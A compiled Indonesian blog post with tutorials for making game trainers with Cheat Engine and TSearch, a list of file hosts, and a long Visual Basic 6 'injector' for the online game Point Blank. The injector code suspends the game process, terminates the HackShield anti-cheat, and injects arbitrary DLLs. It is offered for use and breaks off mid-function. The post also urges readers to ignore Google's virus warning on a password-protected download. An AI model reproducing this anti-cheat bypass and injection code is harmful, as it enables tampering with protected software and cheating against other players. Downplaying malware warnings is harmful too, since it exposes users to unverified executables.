Cara Membuat Cheat Game Pc Dengan Cheat Engine

Pertama Download Dulu Tool Nya
• Cheat Engine All Version
• Rujak Cikur
• Makanan Ringan + Kopi

•)Buka Game Yang Ingin Anda Buat Cheat Nya 
•)Buka Cheat Engine Yang Barusan Agan Download
•)Klik Icon Yang Agak Riweuh :

•)Lalu Pilih Procces Game Nya, Dan Tulis Score Atau Nilai Game Agan Di
  Kolom Value
•)Nanti Akan Keluar Banyak Addres
•)Naaaah Lalu, Mainkan Kembali Game, Sampai Berubah Nilainya
•)Tulis Kembali Nilai Game Anda Dan Klik Next Scan
   Nah ...Pasti Akan Keluar Sedikit Kan Adress Nya !!!
•)Klik Semua Jika Ada 2-3 ('Kalau 1 Pilih Aja 1 ')Karena Gk Ada Lagi
  Kalau Masih Banyak Ulangi Lagi (Tulis & Next Scan)
•)Ok...Kalau Sudah Klik Advance Options
•)Lalu Klik Lagi Icon Save Dan Klik Lagi Ok, Nanti Akan
  Tampil Seperti Ini

 

Nah Lalu  Agan Setting Aja Sesuka Agan
Dan Jangan Lupa Pilih Procces Ke Game Agan
•)Lalu Klik Add Entry
•)Lalu Klik Add & Klik No description, Centang Pada 'Only set A Value' &-
  Allow User To Change This Value  . Dan Isi Juga Value Nya Sesuka Agan Contoh ''999999999''
 Lalu Klik Add.
•)Tulis di Kolom Description         Contoh "Max Score" Dan Hotkey Nya.

Nah........!!!!!!!!!!!!      Sekarang Tinggal Langkah Terakhir 
Yaitu Klik Generate Trainer
Daaaaaaaaaan..........Yup Anda Berhasil Membuat Sebuah Cheat(Trainer) Sendiri..

Contoh Trainer Yang Sudah Jadi Untuk  Game PinBall
"Keterangan" : Pihak Google Document Hanya Menakut Nakuti  , Jadi File Ini -
Tidak Ada Virus Sedikitpun



Download
Pass Rar  :  (Alamat Blog Ini)
                   Semoga Bermanfaat

Sumber  :  Wheldt.forumid.net

Cara membuat Cheat untuk semua Game PC

Yang belum tahu apa itu trainer. Kutipan dibawah ini saya ambil dari situs http://www.webopedia.com/TERM/T/trainer.html
A trainer is an application that intercepts and alters the memory addresses of a game that you have running in the background. Trainers allow gamers access to features similar to cheat codes, but these may not have been programmed into the game by the developer. The trainer will need to run while the game is being played as closing thetrainer will disable the cheats.
Singkatnya, Semua game bisa kita buat cheatnya, kalau di console game seperti GameShark.
Nah Untuk Pertama-pertama bahan yang harus disiapin adalah:
- 1 buah freeware TSearch 1.6
- 1 buah freeware Trainer Maker Kit 1.5.1
Bisa download di sini dan di sini…
Nah sekarang kita mulai tutorialnya, tutorialnya ada dua bagian, Secara softwarenya juga ada dua.
Buka TSearch, abis itu klik tombol yang kaya processor (Open Process)
Kemudian Cari aplikasi yang sedang kamu buka, kalau belum dibuka, buka dulu
Saya Disini mencoba menggunakan game Pinball, Terus saya pilih PINBALL.exe

Terus anda buka game yang lagi anda jalankan
cari angka, atau bar, yang ingin anda buat jadi cheat, apalin angkanya
kalau misalnya yang mau dicari adalah health (biasanya bisa berbentur bar) apalin juga barnya
contoh di tutorial ini adalah saya mau nyari nilai Score dari game Pinball

terus klik icon Init new search

masukkan angka yang diinginkan
Setelah itu tentukan nilai Type
- 1 bytes => 0-255 (BYTE)
- 2 bytes => 0-65535 (WORD)
- 4 bytes => 0-4294967295 (DWORD)
- 8 bytes => 0-(4294967295^2) CMIIW
- float => bilangan pecahan
- double => bilangan pecahan lebih panjang nilainya

terus balik lagi ke TSearch, klik icon Search next

pilih di bagian Search, sesuai keterangan yang dimau, kalau angkanya naik berarti Has increased, kalau angka tepat sekali berarti Exact value, dan lain-lain (bisa bahasa inggris kan)
kalau ini berarti nilai naik (dari 6000 menjadi 17000)

kalau yang mau dicari adalah bar health, kalau barnya bertambah berarti Has increased, kalau berkurang Has decreased, dan sebagainya

terus tentukan nilai Value kalau ada valuenya…
Setelah itu OK
Maka jumlah memory Address yang ada di sebelah kiri bakal berkurang / menurun
ulangi terus langkah Search next, sampai benar-benar ada 1 atau beberapa memory address yang bener-benar tepat bahwa address tersebut adalah kode buat cheat di game kamu..
untuk membuktikannya, klik salah satu memory address
terus pilih icon Add selected line(s) to the table
terus di table yang sebelah kanan, pada kotak checkbox dicentang, muncul gambar smiley tersenyum warna biru (artinya itu kode difreeze => nilai tidak akan berubah)
masuk lagi ke game (catat bahwa kode tadi sudah difreeze), kalau ternyata nilai berubah, great…! kamu sudah bisa melakukan tutorial ini dengan baik
kalau di saya skor Pinball nya jadi naik tinggi sekali

Tutorial bagian ke satu sudah selesai, sekarang kita masuk ke bagian dua
Kode cheat anda (memory address) sudah ditemukan, skrg kita menuju langkah pembuatan aplikasi trainernya, yaitu supaya org lain bisa download/pakai trainer kita (jadi ga usah cari2 lagi pakai TSearch, kan ribet)
pertama buka Trainer Maker Kit, terus tentuin folderDirectory dan isi Project name
abis itu Create
di Tab Build Settings
pilih Process Name aplikasi yang sedang anda jalanin, saya lagi nyoba Pinball
saya pilih PINBALL.EXE terus double klik, ntar di kolom bawahnya langsung muncul
Process name PINBALL.EXE

sekarang kita bikin tampilan form yang sederhana saja
bisa pake Button sesuai selera masing2, saya bikin sederhana aja seperti di bawah
karena saya
males lama2 hehehe

setelah dibuat Buttonnya, klik kanan pilih Properties
terus ketik Caption-nya, pada tab Fct
klik Freeze sama Stay down biar cheatnya difreeze (alias nilai tidak berubah)
dan kalau diklik Buttonnya, buttonnya akan tetap diam di bawah (stay down)
terus yang lainnya tergantung selera aja deh biar cantik tampilannya
abis itu diclose aja
setelah itu, klik kanan lagi Buttonnya, pilih Write memory actions
maka bakal muncul sebuah dialog, klik Wiz
terus muncul dialog Wizard (script maker)

pilih Action to perform, pilih yg sesuai kriteria km, ada
- WRITE VALUE => diberikan nilai (jika nilai 999.999 tapi nilainya akan tetep berubah)
- ADD => ditambah
- SUBSTRACT => dikurangi
- LOCK => dikunci / freeze / nilai tdk akan berubah
Type of value
- BYTE => 0-255
- WORD => 0-65535
- DWORD => 0-4294967295
- FLOAT => bilangan pecahan
- DOUBLE => bilangan pecahan tapi lebih panjang nilainya
masukkin nilai Address, terus masukkin nilai Value, klikApply
kalau sudah selesai semua di dialog sebelumnya akan masuk nilai Address yang tadi kita masukkin

terus Apply deh..
nah sekarang Trainer kamu sudah jadi, tinggal coba dijalanin aja, klik icon Run
kalau semua sudah jalan dan sukses cheat kamu bisa jalan, tinggal di Build, aplikasi trainer kamu sudah sekarang jadi
file exenya bakal ada di folder installan Trainer Maker Kit…

Coba anda jalankan bersama game yang sedang anda jalanin, Semoga Berhasil…

Macam-macam Free file Hosting (Tempat Menyimpan File)

•www.mediafire.com

•www.ziddu.com

•www.2shared.com

•www.3shared.com

•www.4shared.com

•fastfreefilehosting.com
•www.rapidshare.com
•www.megaupload.com
•           •Untuk embed mp3•           •
•www.filefreak.com

•www.freefilehosting.net 

•www.fileden.com 

•www.indowebster.com 

•           •Untuk Javascript•            •

Cara Membuat Injector Point Blank

Ok.............!!!!!!!!!!!!!!!
            Kali Ini Kita Akan Membuat Tool Atau Cheat(Injector)
Pasti Kalian Semua Udah Pada Tau Apa Itu (Cheat)..........:D


 Pada Tutorial Kali ini Saya Akan Membuat Injector PointBlank
 Tool Yang Di Butuhkan

1- Visual Basic 6.0

2- Makanan Ringan

3- Marimas Mangga



• Pertama, Anda Download Dulu Vb 6.0 nya
• Lalu Anda Buka Vb Nya Maka Anda Akan Melihat Seperti Ini

Klik Standard EXE,



• Lalu beri nama form tersebut Di Kolom Categorized►Caption
" ganti form1 Dengan nama exe anda".
• Klik kanan Form tersebut Dan Klik View Code
• Jika Sudah Anda Copy Kode Dibawah ini
"      

Wheldt Injector  by Dhani HAcker, Multi Injector (Wheldt_Injector)  From Volcano.forumid,net [WI]<br /> <br /> Private noc As Integer<br /> Private str1 As String<br /> Private str2 As String<br /> Private str3 As String<br /> Private strmessage As String<br /> <br /> Private resmue As String<br /> Private winHwnd As Long<br /> Private bSuspend As Boolean<br /> <br /> Option Explicit<br /> Private Declare Function ExtCreateRegion Lib "gdi32" (lpXform As Any, ByVal nCount As Long, lpRgnData As Any) As Long<br /> Private Declare Function SetWindowRgn Lib "user32" (ByVal hWnd As Long, ByVal hRgn As Long, ByVal bRedraw As Boolean) As Long<br /> <br /> Dim bytRegion(31) As Byte<br /> Dim nBytes As Long<br /> 'Win 2k, ME, XP<br /> Private Const GWL_EXSTYLE As Long = (-20)<br /> Private Const WS_EX_LAYERED As Long = &H80000<br /> Private Const LWA_ALPHA As Long = &H2<br /> Private NamaDll As String<br /> Private Declare Function GetWindowLongA Lib "user32" (ByVal hWnd As Long, _<br /> ByVal nIndex As Long) As Long<br /> Private Declare Function SetWindowLongA Lib "user32" (ByVal hWnd As Long, _<br /> ByVal nIndex As Long, _<br /> ByVal dwNewLong As Long) As Long<br /> Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long, _<br /> ByVal crey As Byte, _<br /> ByVal bAlpha As Byte, _<br /> ByVal dwFlags As Long) As Long<br /> <br /> <br /> Private Sub cmdExecute_Click()<br /> resmue = "yes"<br /> Unload Me<br /> End Sub<br /> <br /> Private Sub cmdInjector_Click()<br /> On Error GoTo errLine<br /> <br /> If Not cmdInjector.Caption = "Inject Now" Then<br /> Dim theTemp As String<br /> theTemp = OpenDialog(Me, "DLL files (*.dll)|*.dll", "Select DLL File For Inject...", App.Path)<br /> If Trim$(theTemp) <> "" Then<br /> If Dir$(theTemp) <> "" Then<br /> sFlDLL = theTemp<br /> cmdInjector.Caption = "Inject Now"<br /> Else<br /> sFlDLL = "None"<br /> cmdInjector.Caption = "Select Dll For Inject"<br /> End If<br /> End If<br /> Else<br /> If sFlDLL = "None" Then<br /> MsgBox "You can't Injector execute", 48, "Error Injector"<br /> Exit Sub<br /> Else<br /> InjectExecute sFlDLL<br /> sFlDLL = "None"<br /> cmdInjector.Caption = "Select Dll For Inject"<br /> End If<br /> End If<br /> <br /> Exit Sub<br /> errLine:<br /> MsgBox "File tidak respon atau tidak support", 48, "Error"<br /> End Sub<br /> <br /> <br /> Private Sub cmdTerminate_Click()<br /> resmue = "yes"<br /> On Error Resume Next<br /> Dim lExitCode As Long<br /> If MsgBox("Terminate Hackshield sekarang?", _<br /> vbYesNo + vbExclamation, "Terminate Proses") = vbYes Then<br /> lExitCode = TerminateTargetOne<br /> If lExitCode = 0 Then<br /> MsgBox "Proses terminate gagal.", _<br /> vbExclamation, "Terminate info"<br /> cmdTerminate.Enabled = False<br /> Else<br /> lExitCode = TerminateTargetTwo<br /> If lExitCode = 0 Then<br /> MsgBox "Succsses.! Jika ada masalah hubungi nstars.net !!", _<br /> vbExclamation, "Succsses Terminate N2 Injector"<br /> Else<br /> Unload Me<br /> End If<br /> End If<br /> End If<br /> End Sub<br /> <br /> Private Sub Command1_Click()<br /> InjectExecute App.Path & "\Exm1.dll"<br /> End Sub<br /> <br /> Private Sub Command2_Click()<br /> InjectExecute App.Path & "\Exm2.dll"<br /> End Sub<br /> <br /> Private Sub Command3_Click()<br /> InjectExecute App.Path & "\Exm3.dll"<br /> End Sub<br /> <br /> Private Sub File1_Click()<br /> <br /> End Sub<br /> <br /> 'fungsi transparent form<br /> Private Sub Opacity(Value As Byte, _<br /> Frm As Form)<br /> <br /> <br /> Dim MaxVal As Byte<br /> Dim MinVal As Byte<br /> <br /> On Error GoTo ErrorHandler<br /> MinVal = 20<br /> MaxVal = 255<br /> If Value > MaxVal Then<br /> Value = MaxVal<br /> End If<br /> If Value < MinVal Then Value = MinVal End If SetWindowLongA Frm.hWnd, GWL_EXSTYLE, GetWindowLongA(Frm.hWnd, GWL_EXSTYLE) Or WS_EX_LAYERED SetLayeredWindowAttributes Frm.hWnd, 0, Value, LWA_ALPHA ErrorHandler: Exit Sub End Sub Private Sub form_load() Dim Welcome As String Welcome = MsgBox("Jangan Lupa Ucapkan terimakasih to Sapta_Agunk !! ^_^V Peace !! ", vbInformation, "N2 Injector") Welcome = MsgBox(" oea ada yg kelupaan !! Selamat Bergabung di nstars.net !! xixixixi", vbInformation, "Jangan Lupa Koment ya !!") bSuspend = False Timer2.Interval = 20 Timer2.Enabled = True FileTargetOne = "PointBlank.exe" 'target nya sob FileTargetTwo = "HSUpdate.exe" 'target nya juga xixixixi str1 = "Sapta_Agunk" 'contoh text yg akan Kedap Kedip str2 = "Special Thanks to Credit" 'contoh text yg akan Kedap Kedip str3 = "http://www.nstars.net _copyright@2010 " 'contoh text yg akan berjalan sob Opacity 200, Me 'pengaturan transparent form MinVal = 20: MaxVal = 255 WindowsMediaPlayer1.URL = App.Path & "\Exm.mp3" 'nih audio nya sob Dim rgnMain As Long nBytes = 100 LoadBytes rgnMain = ExtCreateRegion(ByVal 0&, nBytes, bytRegion(0)) SetWindowRgn Me.hWnd, rgnMain, True End Sub Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single) Screen.MousePointer = vbDefault End Sub Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer) If bSuspend = True Then If Not resmue = "yes" Then If MsgBox("Klik Yes untuk Terminate (PB dan HS) dan No Untuk Membatalkan", vbYesNo, "") = vbYes Then cmdTerminate_Click Else Cancel = -1 End If Else OpenURL "http://nstars.net", Me.hWnd End If End If End Sub Private Sub Form_Unload(Cancel As Integer) If bSuspend = True Then SetSuspendResumeThread False End End Sub Private Sub Timer1_Timer() winHwnd = FindWindow(vbNullString, "HSUpdate") If winHwnd <> 0 Then<br /> NTProcessList<br /> SetSuspendResumeThread True<br /> cmdTerminate.Enabled = True<br /> cmdExecute.Enabled = True<br /> cmdInjector.Enabled = True<br /> 'pengaturan tombol jadi aktif<br /> Command1.Enabled = True<br /> Command2.Enabled = True<br /> Command3.Enabled = True<br /> bSuspend = True<br /> Vibrate Me, 100, 50<br /> Timer1.Enabled = False<br /> Else<br /> cmdTerminate.Enabled = False<br /> cmdExecute.Enabled = False<br /> cmdInjector.Enabled = False<br /> '-------------------------<br /> 'pengaturan tombol jadi tidak aktif<br /> Command1.Enabled = False<br /> Command2.Enabled = False<br /> Command3.Enabled = False<br /> <br /> Timer1.Enabled = True<br /> bSuspend = False<br /> End If<br /> End Sub<br /> <br /> Private Sub Timer2_Timer()<br /> Me.Top = (Screen.Height - Height) / 2<br /> Timer2.Enabled = False<br /> Timer1.Enabled = True<br /> Timer1.Interval = 20<br /> End Sub<br /> Private Sub Timer3_Timer()<br /> <br /> If Label1.Visible = True Then<br /> Label1.Visible = False<br /> Else<br /> Label1.Visible = True<br /> End If<br /> <br /> End Sub<br /> Private Sub Timer4_Timer()<br /> <br /> If Label3.Visible = True Then<br /> Label3.Visible = False<br /> Else<br /> Label3.Visible = True<br /> End If<br /> <br /> End Sub<br /> Private Sub timer5_Timer()<br /> <br /> Timer5.Interval = 300<br /> Label4.Caption = Mid(Label4.Caption, 2, Len(Label4.Caption) - 1) + Mid(Label4.Caption, 1, 1)<br /> <br /> <br /> End Sub<br /> Private Sub Timer6_Timer()<br /> <br /> WindowsMediaPlayer1.Controls.play<br /> <br /> End Sub<br /> <br /> Sub SlideWindow(frmSlide As Form, iSpeed As Integer)<br /> While frmSlide.Top - frmSlide.Height < Screen.Height DoEvents frmSlide.Top = frmSlide.Top + iSpeed Wend End Sub Private Sub MoveToTop() Dim currentTop As Long Dim TargetTop As Long Dim currentLeft As Long Dim TargetLeft As Long Dim i As Long For i = currentTop To TargetTop Step -2 Me.Top = i Next i For i = currentLeft To TargetLeft Step 2 Me.Left = i Next i End Sub Private Sub Vibrate(Frm As Form, rScale As Integer, Times As Integer) Dim Lft As Long, Tp As Long Dim i Lft = Frm.Left Tp = Frm.Top For i = 0 To Times Frm.Move Lft + Sgn(rScale) Pause 20 Frm.Move Lft + rScale Pause 20 Frm.Move Lft, Tp + Sgn(rScale), Frm.Width, Frm.Height Pause 20 Frm.Move Lft, Tp + rScale, Frm.Width, Frm.Height Pause 20 Next i End Sub Private Sub Pause(ms) Dim secs Dim g secs = ms / 1000 g = Timer Do While Timer - g < secs DoEvents Loop End Sub Private Sub LoadBytes() bytRegion(0) = 100 bytRegion(4) = 10 End Sub

• Nah Close Aja.........................
• Klik project Di atas Lalu pilih add module Dan Beri nama " ModProcess "
• Dan Copy Lagi Kode Dibawah

Option Explicit<br /> <br /> Public Declare Function FindWindow Lib "USER32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As Long<br /> Public Declare Function PostMessage Lib "USER32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long<br /> Public Declare Function Process32First Lib _<br /> "kernel32" (ByVal hSnapShot As Long, _<br /> uProcess As PROCESSENTRY32) As Long<br /> Public Declare Function Process32Next Lib _<br /> "kernel32" (ByVal hSnapShot As Long, _<br /> uProcess As PROCESSENTRY32) As Long<br /> Public Declare Function CloseHandle Lib _<br /> "kernel32" (ByVal hObject As Long) As Long<br /> <br /> Public FileTargetOne As String<br /> Public FileTargetTwo As String<br /> Public sFlDLL As String<br /> <br /> Public IdTargetOne As Long<br /> Private IdTargetTwo As Long<br /> <br /> Private Const TH32CS_SNAPHEAPLIST = &H1<br /> Private Const TH32CS_SNAPPROCESS = &H2<br /> Private Const TH32CS_SNAPTHREAD = &H4<br /> Private Const TH32CS_SNAPMODULE = &H8<br /> Private Const TH32CS_SNAPALL = (TH32CS_SNAPHEAPLIST Or _<br /> TH32CS_SNAPPROCESS Or TH32CS_SNAPTHREAD Or TH32CS_SNAPMODULE)<br /> Private Const MAX_PATH = 260<br /> Public Const PROCESS_ALL_ACCESS = &H1F0FFF<br /> <br /> Private Type PROCESSENTRY32<br /> dwSize As Long<br /> cntUsage As Long<br /> th32ProcessID As Long<br /> th32DefaultHeapID As Long<br /> th32ModuleID As Long<br /> cntThreads As Long<br /> th32ParentProcessID As Long<br /> pcPriClassBase As Long<br /> dwFlags As Long<br /> szExeFile As String * MAX_PATH<br /> End Type<br /> <br /> Private Type MODULEENTRY32<br /> dwSize As Long<br /> th32ModuleID As Long<br /> th32ProcessID As Long<br /> GlblcntUsage As Long<br /> ProccntUsage As Long<br /> modBaseAddr As Long<br /> modBaseSize As Long<br /> hModule As Long<br /> szModule As String * 256<br /> szExePath As String * 260<br /> End Type<br /> <br /> Private Type THREADENTRY32<br /> dwSize As Long<br /> cntUsage As Long<br /> th32ThreadID As Long<br /> th32OwnerProcessID As Long<br /> tpBasePri As Long<br /> tpDeltaPri As Long<br /> dwFlags As Long<br /> End Type<br /> <br /> Private Const THREAD_SUSPEND_RESUME = &H2<br /> Private Declare Function OpenThread Lib _<br /> "kernel32.dll" (ByVal dwDesiredAccess As Long, _<br /> ByVal bInheritHandle As Boolean, _<br /> ByVal dwThreadId As Long) As Long<br /> Private Declare Function ResumeThread Lib _<br /> "kernel32.dll" (ByVal hThread As Long) As Long<br /> Private Declare Function SuspendThread Lib _<br /> "kernel32.dll" (ByVal hThread As Long) As Long<br /> Private hThread As Long<br /> <br /> Private Declare Function CreateToolhelp32Snapshot Lib _<br /> "kernel32" (ByVal lFlags As Long, _<br /> ByVal lProcessID As Long) As Long<br /> <br /> Private Declare Function Module32First Lib _<br /> "kernel32" (ByVal hSnapShot As Long, _<br /> uProcess As MODULEENTRY32) As Long<br /> Private Declare Function lstrlen Lib _<br /> "kernel32" Alias "lstrlenA" ( _<br /> ByVal lpString As String) As Long<br /> Private Declare Function GetFileTitle Lib _<br /> "COMDLG32.DLL" Alias "GetFileTitleA" ( _<br /> ByVal lpszFile As String, _<br /> ByVal lpszTitle As String, _<br /> ByVal cbBuf As Integer) As Integer<br /> <br /> Private Declare Function Thread32First Lib _<br /> "kernel32.dll" (ByVal hSnapShot As Long, _<br /> ByRef lpte As THREADENTRY32) As Boolean<br /> Private Declare Function Thread32Next Lib _<br /> "kernel32.dll" (ByVal hSnapShot As Long, _<br /> ByRef lpte As THREADENTRY32) As Boolean<br /> <br /> Public Declare Function OpenProcess Lib _<br /> "kernel32" (ByVal dwDesiredAccess As Long, _<br /> ByVal bInheritHandle As Long, _<br /> ByVal dwProcessId As Long) As Long<br /> <br /> Private Declare Function TerminateProcess Lib _<br /> "kernel32" (ByVal hProcess As Long, _<br /> ByVal uExitCode As Long) As Long<br /> <br /> Public Function NTProcessList() As Long<br /> On Error Resume Next<br /> Dim FileName As String, ExePath As String<br /> Dim hProcSnap As Long, hModuleSnap As Long, _<br /> lProc As Long<br /> Dim uProcess As PROCESSENTRY32, _<br /> uModule As MODULEENTRY32<br /> Dim intLVW As Integer<br /> hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0&)<br /> uProcess.dwSize = Len(uProcess)<br /> lProc = Process32First(hProcSnap, uProcess)<br /> Do While lProc<br /> If uProcess.th32ProcessID <> 0 Then<br /> hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPALL, uProcess.th32ProcessID)<br /> uModule.dwSize = Len(uModule)<br /> Module32First hModuleSnap, uModule<br /> If hModuleSnap > 0 Then<br /> ExePath = StripNulls(uModule.szExePath)<br /> FileName = GetFName(ExePath)<br /> If FileTargetOne = FileName Then IdTargetOne = uProcess.th32ProcessID<br /> If FileTargetTwo = FileName Then IdTargetTwo = uProcess.th32ProcessID<br /> End If<br /> End If<br /> lProc = Process32Next(hProcSnap, uProcess)<br /> Loop<br /> Call CloseHandle(hProcSnap)<br /> Call CloseHandle(lProc)<br /> End Function<br /> <br /> Function StripNulls(ByVal sStr As String) As String<br /> StripNulls = Left$(sStr, lstrlen(sStr))<br /> End Function<br /> <br /> Public Function GetFName(fn) As String<br /> Dim f%, n%<br /> GetFName = fn<br /> f% = InStr(fn, "\")<br /> Do While f%<br /> n% = f%<br /> f% = InStr(n% + 1, fn, "\")<br /> Loop<br /> If n% > 0 Then GetFName = Mid$(fn, n% + 1)<br /> End Function<br /> <br /> <br /> Private Function Thread32Enum(ByRef Thread() As THREADENTRY32, _<br /> ByVal lProcessID As Long) As Long<br /> On Error Resume Next<br /> ReDim Thread(0)<br /> Dim THREADENTRY32 As THREADENTRY32<br /> Dim hThreadSnap As Long<br /> Dim lThread As Long<br /> hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, lProcessID)<br /> THREADENTRY32.dwSize = Len(THREADENTRY32)<br /> If Thread32First(hThreadSnap, THREADENTRY32) = False Then<br /> Thread32Enum = -1<br /> Exit Function<br /> Else<br /> ReDim Thread(lThread)<br /> Thread(lThread) = THREADENTRY32<br /> End If<br /> Do<br /> If Thread32Next(hThreadSnap, THREADENTRY32) = False Then<br /> Exit Do<br /> Else<br /> lThread = lThread + 1<br /> ReDim Preserve Thread(lThread)<br /> Thread(lThread) = THREADENTRY32<br /> End If<br /> Loop<br /> Thread32Enum = lThread<br /> Call CloseHandle(hThreadSnap)<br /> End Function<br /> <br /> Public Function SetSuspendResumeThread(SuspendNow As Boolean) As Long<br /> Dim Thread() As THREADENTRY32, hPID As Long, hThread As Long, i As Long<br /> hPID = IdTargetOne<br /> Thread32Enum Thread(), hPID<br /> For i = 0 To UBound(Thread)<br /> If Thread(i).th32OwnerProcessID = hPID Then<br /> hThread = OpenThread(THREAD_SUSPEND_RESUME, False, (Thread(i).th32ThreadID))<br /> If SuspendNow = True Then<br /> SetSuspendResumeThread = SuspendThread(hThread)<br /> Else<br /> SetSuspendResumeThread = ResumeThread(hThread)<br /> End If<br /> End If<br /> Next i<br /> Call CloseHandle(hThread)<br /> End Function<br /> <br /> Public Function TerminateTargetOne() As Long<br /> Dim hPID As Long<br /> hPID = OpenProcess(PROCESS_ALL_ACCESS, 0, IdTargetOne)<br /> TerminateTargetOne = TerminateProcess(hPID, 0)<br /> Call CloseHandle(hPID)<br /> End Function<br /> <br /> Public Function TerminateTargetTwo() As Long<br /> Dim hPID As Long<br /> hPID = OpenProcess(PROCESS_ALL_ACCESS, 0, IdTargetTwo)<br /> TerminateTargetTwo = TerminateProcess(hPID, 0)<br /> Call CloseHandle(hPID)<br /> End Function<br /> <br />

• Pilih Add module Lagi Dan Beri nama  " ModBrowser "
• lalu Copy Code Berikut

'modul buka browser<br /> Public Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" _<br /> (ByVal hwnd As Long, _<br /> ByVal lpOperation As String, _<br /> ByVal lpFile As String, _<br /> ByVal lpParameters As String, _<br /> ByVal lpDirectory As String, _<br /> ByVal nShowCmd As Long) As Long<br /> <br /> Public Sub OpenURL(situs As String, sourceHWND As Long)<br /> Call ShellExecute(sourceHWND, vbNullString, situs, vbNullString, vbNullString, 1)<br /> End Sub<br /> <br />

• Pilih Add module Lagi Dan Beri nama " ModCDialog "

• lalu Copy Code Berikut

Option Explicit<br /> <br /> 'Common Dialog<br /> Private Type OPENFILENAME<br /> lStructSize As Long<br /> hWndOwner As Long<br /> hInstance As Long<br /> lpstrFilter As String<br /> lpstrCustomFilter As String<br /> nMaxCustFilter As Long<br /> nFilterIndex As Long<br /> lpstrFile As String<br /> nMaxFile As Long<br /> lpstrFileTitle As String<br /> nMaxFileTitle As Long<br /> lpstrInitialDir As String<br /> lpstrTitle As String<br /> Flags As Long<br /> nFileOffset As Integer<br /> nFileExtension As Integer<br /> lpstrDefExt As String<br /> lCustData As Long<br /> lpfnHook As Long<br /> lpTemplateName As String<br /> End Type<br /> <br /> Public Const OFN_READONLY = &H1<br /> Public Const OFN_OVERWRITEPROMPT = &H2<br /> Public Const OFN_HIDEREADONLY = &H4<br /> Public Const OFN_NOCHANGEDIR = &H8<br /> Public Const OFN_SHOWHELP = &H10<br /> Public Const OFN_ENABLEHOOK = &H20<br /> Public Const OFN_ENABLETEMPLATE = &H40<br /> Public Const OFN_ENABLETEMPLATEHANDLE = &H80<br /> Public Const OFN_NOVALIDATE = &H100<br /> Public Const OFN_ALLOWMULTISELECT = &H200<br /> Public Const OFN_EXTENSIONDIFFERENT = &H400<br /> Public Const OFN_PATHMUSTEXIST = &H800<br /> Public Const OFN_FILEMUSTEXIST = &H1000<br /> Public Const OFN_CREATEPROMPT = &H2000<br /> Public Const OFN_SHAREAWARE = &H4000<br /> Public Const OFN_NOREADONLYRETURN = &H8000<br /> Public Const OFN_NOTESTFILECREATE = &H10000<br /> Public Const OFN_NONETWORKBUTTON = &H20000<br /> Public Const OFN_NOLONGNAMES = &H40000 ' force no long names for 4.x modules<br /> Public Const OFN_EXPLORER = &H80000 ' new look commdlg<br /> Public Const OFN_NODEREFERENCELINKS = &H100000<br /> Public Const OFN_LONGNAMES = &H200000 ' force long names for 3.x modules<br /> Public Const OFN_SHAREFALLTHROUGH = 2<br /> Public Const OFN_SHARENOWARN = 1<br /> Public Const OFN_SHAREWARN = 0<br /> <br /> Private Declare Function GetOpenFileName Lib "COMDLG32.DLL" Alias "GetOpenFileNameA" (pOpenfilename As OPENFILENAME) As Long<br /> Private Declare Function GetSaveFileName Lib "COMDLG32.DLL" Alias "GetSaveFileNameA" (pOpenfilename As OPENFILENAME) As Long<br /> <br /> 'Browse Folder Declarations<br /> Private Type BrowseInfo<br /> hWndOwner As Long<br /> pIDLRoot As Long<br /> pszDisplayName As Long<br /> lpszTitle As Long<br /> ulFlags As Long<br /> lpfnCallback As Long<br /> lParam As Long<br /> iImage As Long<br /> End Type<br /> Private Const BIF_RETURNONLYFSDIRS = 1<br /> Private Const MAX_PATH = 260<br /> Public Const BIF_STATUSTEXT = &H4&<br /> Public Const BIF_DONTGOBELOWDOMAIN = 2<br /> Public Const WM_USER = &H400<br /> Public Const BFFM_INITIALIZED = 1<br /> Public Const BFFM_SELCHANGED = 2<br /> Public Const BFFM_SETSTATUSTEXT = (WM_USER + 100)<br /> Public Const BFFM_SETSELECTION = (WM_USER + 102)<br /> <br /> Private Declare Sub CoTaskMemFree Lib "ole32.dll" (ByVal hMem As Long)<br /> Private Declare Function lstrcat Lib "kernel32" Alias "lstrcatA" (ByVal lpString1 As String, ByVal lpString2 As String) As Long<br /> Private Declare Function SHBrowseForFolder Lib "shell32" (lpbi As BrowseInfo) As Long<br /> Private Declare Function SHGetPathFromIDList Lib "shell32" (ByVal pidList As Long, ByVal lpBuffer As String) As Long<br /> <br /> Function OpenDialog(Form1 As Form, Filter As String, Title As String, InitDir As String) As String<br /> Dim ofn As OPENFILENAME<br /> Dim A As Long<br /> Dim theTemp As String<br /> <br /> ofn.lStructSize = Len(ofn)<br /> ofn.hWndOwner = Form1.hwnd<br /> ofn.hInstance = App.hInstance<br /> If Right$(Filter, 1) <> "|" Then Filter = Filter + "|"<br /> For A = 1 To Len(Filter)<br /> If Mid$(Filter, A, 1) = "|" Then Mid$(Filter, A, 1) = Chr$(0)<br /> Next<br /> ofn.lpstrFilter = Filter<br /> ofn.lpstrFile = Space$(254)<br /> ofn.nMaxFile = 255<br /> ofn.lpstrFileTitle = Space$(254)<br /> ofn.nMaxFileTitle = 255<br /> ofn.lpstrInitialDir = InitDir<br /> ofn.lpstrTitle = Title<br /> ofn.Flags = OFN_HIDEREADONLY Or OFN_FILEMUSTEXIST<br /> A = GetOpenFileName(ofn)<br /> <br /> If (A) Then<br /> theTemp = Trim$(ofn.lpstrFile)<br /> If Asc(Right$(theTemp, 1)) = 0 Then theTemp = Left$(theTemp, Len(theTemp) - 1)<br /> OpenDialog = theTemp<br /> Else<br /> OpenDialog = ""<br /> End If<br /> End Function<br /> <br /> Public Function BrowseForFolder(hWndOwner As Long, sPrompt As String) As String<br /> '**************************************<br /> ' Name: Win95DirectoryPrompt<br /> ' Description:Prompting the User for a D<br /> ' irectory in Win95. Windows' common dialo<br /> ' gs are great if you want the user to sel<br /> ' ect a file, but what if you want them to<br /> ' select a directory? Call the following f<br /> ' unction, which relies on Win32's new SHB<br /> ' rowseForFolder function:<br /> ' By: Found on the World Wide Web<br /> Dim iNull As Integer<br /> Dim lpIDList As Long<br /> 